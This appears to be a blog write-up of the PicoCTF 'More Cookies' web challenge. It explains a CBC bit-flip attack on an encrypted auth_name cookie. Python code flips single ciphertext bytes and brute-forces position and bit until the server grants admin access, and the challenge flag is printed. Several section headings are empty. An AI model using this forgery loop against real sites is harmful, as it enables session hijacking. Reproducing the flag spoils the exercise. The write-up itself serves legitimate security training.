Writeups PicoCTFWebCBCBit Flip

More Cookies Writeup - PicoGym

Writeup for the More Cookies challenge from PicoCTF PicoGym.

Contents

Category: Web Exploitation

Difficulty: Medium

Points: 90

Description

The site sets an auth_name cookie that controls access. Modifying it naively breaks the format. The goal is to flip bits in the ciphertext to produce a cookie that the server accepts as an admin.

Overview

Background: CBC Bit-Flip Attack

Solution

Step 2: Implement the Bit-Flip Helper

def bit_flip(pos: int, bit: int, data: str) -> str:
    raw = base64.b64decode(base64.b64decode(data).decode())
    data = bytearray(raw)
    data[pos] = data[pos] ^ bit
    raw = bytes(data)
    return base64.b64encode(base64.b64encode(raw)).decode()

Step 3: Brute-Force Position and Bit Value

for pi in range(10):
    for bi in range(128):
        auth_cookie = bit_flip(pi, bi, cookie)
        r = requests.get(url, cookies={"auth_name": auth_cookie})
        if "picoCTF{" in r.text:
            break

Why This Works

Flag

picoCTF{cO0ki3s_yum_a9a19fa6}

← Back to Blog